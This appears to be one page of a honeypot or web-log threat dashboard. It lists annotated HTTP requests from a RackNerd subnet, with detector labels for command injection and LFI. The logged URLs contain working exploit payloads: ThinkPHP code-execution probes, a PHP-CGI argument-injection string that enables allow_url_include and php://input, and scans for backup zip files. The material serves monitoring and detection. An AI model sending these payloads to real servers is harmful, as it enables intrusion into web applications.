23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#36 2025-08-26 01:54:57 event 14768747 GET 499

ann base label observed

Request event observed

/web.zip

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/web.zip

referer

-

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#37 2025-08-26 01:54:57 event 14768746 GET 499

ann base label observed

Request event observed

/?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php+phpinfo();?>

referer

-

UA

Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php+phpinfo();?>

referer

-

UA

Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#38 2025-08-26 01:54:57 event 14768757 GET 499

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php+phpinfo();?>

referer

-

UA

Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

Pipe/redirect operators in a context that resembles command execution. Snippet='=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php phpinfo();?> -'

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php+phpinfo();?>

referer

-

UA

Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

Pipe/redirect operators in a context that resembles command execution. Snippet='=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php phpinfo();?> -'

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#39 2025-08-26 01:54:57 event 14768757 GET 499

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php+phpinfo();?>

referer

-

UA

Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

Command separator/operator combined with a recognized command token. Snippet='=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php phpinfo();?> -'

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php+phpinfo();?>

referer

-

UA

Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

Command separator/operator combined with a recognized command token. Snippet='=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php phpinfo();?> -'

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#40 2025-08-26 01:54:57 event 14768746 GET 499

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php+phpinfo();?>

referer

-

UA

Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

Pipe/redirect operators in a context that resembles command execution. Snippet='=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php phpinfo();?> -'

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php+phpinfo();?>

referer

-

UA

Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

Pipe/redirect operators in a context that resembles command execution. Snippet='=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php phpinfo();?> -'

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#41 2025-08-26 01:54:57 event 14768746 GET 499

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php+phpinfo();?>

referer

-

UA

Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

Command separator/operator combined with a recognized command token. Snippet='=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php phpinfo();?> -'

More (full fields + snapshot) expand

url

/?s=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php+phpinfo();?>

referer

-

UA

Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

Command separator/operator combined with a recognized command token. Snippet='=index/\x5Cthink\x5Cview\x5Cdriver\x5CPhp/display&content=<?php phpinfo();?> -'

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#42 2025-08-26 01:54:49 event 14768741 POST 499

ann base label observed

Request event observed

/test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

referer

-

UA

Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

referer

-

UA

Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#43 2025-08-26 01:54:49 event 14768740 POST 499

ann base label observed

Request event observed

/test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

referer

-

UA

Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

referer

-

UA

Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#44 2025-08-26 01:54:49 event 14768741 POST 499

ann trav 30 label trav

Request Path traversal / LFI indicator detected

/test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

referer

-

UA

Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0

Annotation facts

label

trav

rule

trav:wrapper

conf

94.00

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

More (full fields + snapshot) expand

url

/test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

referer

-

UA

Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0

summary

Path traversal / LFI indicator detected

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#45 2025-08-26 01:54:49 event 14768740 POST 499

ann trav 30 label trav

Request Path traversal / LFI indicator detected

/test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

referer

-

UA

Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0

Annotation facts

label

trav

rule

trav:wrapper

conf

94.00

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

More (full fields + snapshot) expand

url

/test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

referer

-

UA

Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0

summary

Path traversal / LFI indicator detected

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#46 2025-08-26 01:54:46 event 14768737 GET 499

ann base label observed

Request event observed

/?s=index/think\x5Crequest/input?data[]=phpinfo()&filter=assert

referer

-

UA

Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/107.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/?s=index/think\x5Crequest/input?data[]=phpinfo()&filter=assert

referer

-

UA

Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/107.0 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#47 2025-08-26 01:54:46 event 14768734 GET 499

ann base label observed

Request event observed

/bak.zip

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/bak.zip

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#48 2025-08-26 01:54:46 event 14768733 GET 499

ann base label observed

Request event observed

/aaa.zip

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/aaa.zip

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#49 2025-08-26 01:54:46 event 14768732 GET 499

ann base label observed

Request event observed

/a.zip

referer

-

UA

Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/a.zip

referer

-

UA

Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

#50 2025-08-26 01:54:46 event 14768731 GET 499

ann base label observed

Request event observed

/1.zip

referer

-

UA

Mozilla/5.0 (SS; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/1.zip

referer

-

UA

Mozilla/5.0 (SS; Linux x86_64; rv:135.0) Gecko/20100101 Firefox/135.0

summary

event observed

details

—

subnet

23.95.214.0/24

asn

36352 — HostPapa

geo

United States, California, Santa Clara

org

RackNerd LLC

Page 1 of 17

← Prev Next →